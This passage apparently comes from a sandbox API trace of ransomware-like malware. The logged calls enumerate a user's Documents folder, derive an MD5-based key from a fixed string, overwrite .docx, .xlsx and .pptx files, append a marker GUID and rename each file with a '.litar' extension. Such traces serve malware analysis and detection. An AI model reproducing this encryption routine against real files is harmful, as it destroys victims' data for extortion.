0x3074f40 [0125.374] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0125.374] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084120 [0125.374] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.374] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.374] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751b0 | out: hHeap=0x5c0000) returned 1 [0125.374] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30750e0 | out: hHeap=0x5c0000) returned 1 [0125.374] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.374] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083fb8 | out: hHeap=0x5c0000) returned 1 [0125.374] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075148 | out: hHeap=0x5c0000) returned 1 [0125.374] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083fb8 [0125.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0125.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.375] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0125.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.375] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084198 [0125.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0125.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.375] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16c) returned 0x308d780 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075148 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30750e0 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30751b0 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084210 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084288 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084300 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0125.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0125.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0125.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0125.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084120 | out: hHeap=0x5c0000) returned 1 [0125.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083fb8 | out: hHeap=0x5c0000) returned 1 [0125.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084198 | out: hHeap=0x5c0000) returned 1 [0125.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0125.376] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084198 [0125.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0125.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.376] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5026b6a0, ftCreationTime.dwHighDateTime=0x1d4bcf9, ftLastAccessTime.dwLowDateTime=0x7dcbb920, ftLastAccessTime.dwHighDateTime=0x1d4ca73, ftLastWriteTime.dwLowDateTime=0x7dcbb920, ftLastWriteTime.dwHighDateTime=0x1d4ca73, nFileSizeHigh=0x0, nFileSizeLow=0xf889, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OrLlCAU81JJA3-CN.docx", cAlternateFileName="ORLLCA~1.DOC")) returned 1 [0125.376] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.376] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0125.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.376] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OrLlCAU81JJA3-CN.docx") returned=".docx" [0125.376] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OrLlCAU81JJA3-CN.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\orllcau81jja3-cn.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.377] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=63625) returned 1 [0125.377] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.379] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xf863, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.379] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.380] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.380] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.380] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.380] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xf889, lpOverlapped=0x0) returned 1 [0125.381] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.381] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.381] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.381] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.382] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.382] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.382] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.382] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.382] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.382] GetLastError () returned 0x0 [0125.382] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.382] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.382] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.382] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xf890) returned 0x30fa0b0 [0125.382] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.382] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.382] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xf884, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xf884, lpOverlapped=0x0) returned 1 [0125.383] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.383] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xf889, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.383] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.383] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.383] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.383] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.383] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.383] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.383] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.383] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.383] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.383] CloseHandle (hObject=0x624) returned 1 [0125.384] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.384] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.384] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.384] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OrLlCAU81JJA3-CN.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\orllcau81jja3-cn.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OrLlCAU81JJA3-CN.docx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\orllcau81jja3-cn.docx.litar")) returned 1 [0125.385] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.385] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.386] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.386] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0125.386] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.386] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0125.386] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.386] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0125.386] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.386] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5a1f30, ftCreationTime.dwHighDateTime=0x1d4e11b, ftLastAccessTime.dwLowDateTime=0x1b093b30, ftLastAccessTime.dwHighDateTime=0x1d4fa04, ftLastWriteTime.dwLowDateTime=0x1b093b30, ftLastWriteTime.dwHighDateTime=0x1d4fa04, nFileSizeHigh=0x0, nFileSizeLow=0x1e75, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Q4Mi.xlsx", cAlternateFileName="Q4MI~1.XLS")) returned 1 [0125.386] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.386] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0125.386] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.386] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Q4Mi.xlsx") returned=".xlsx" [0125.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Q4Mi.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\q4mi.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.387] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=7797) returned 1 [0125.387] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.389] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1e4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.389] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.390] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.390] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.390] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.390] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x1e75, lpOverlapped=0x0) returned 1 [0125.391] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.391] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.391] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.391] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.391] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.392] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.392] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.392] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.392] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.392] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.392] GetLastError () returned 0x0 [0125.392] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.392] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.392] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.392] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1e80) returned 0x30fa0b0 [0125.392] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.392] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.392] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x1e70, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x1e70, lpOverlapped=0x0) returned 1 [0125.392] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.392] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1e75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.392] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.392] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.392] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.393] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.393] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.393] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.393] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.393] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.393] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.393] CloseHandle (hObject=0x624) returned 1 [0125.393] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.393] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x870) returned 0x30fa0b0 [0125.393] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.394] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Q4Mi.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\q4mi.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Q4Mi.xlsx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\q4mi.xlsx.litar")) returned 1 [0125.394] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.394] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.395] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.395] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3baa200, ftCreationTime.dwHighDateTime=0x1d4ad85, ftLastAccessTime.dwLowDateTime=0xcc3e71f0, ftLastAccessTime.dwHighDateTime=0x1d4dc17, ftLastWriteTime.dwLowDateTime=0xcc3e71f0, ftLastWriteTime.dwHighDateTime=0x1d4dc17, nFileSizeHigh=0x0, nFileSizeLow=0x5b06, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RAIpVw9N67HN.pptx", cAlternateFileName="RAIPVW~1.PPT")) returned 1 [0125.395] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.395] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0125.395] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.395] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RAIpVw9N67HN.pptx") returned=".pptx" [0125.395] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RAIpVw9N67HN.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\raipvw9n67hn.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.396] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=23302) returned 1 [0125.396] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.398] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5ae0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.398] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | 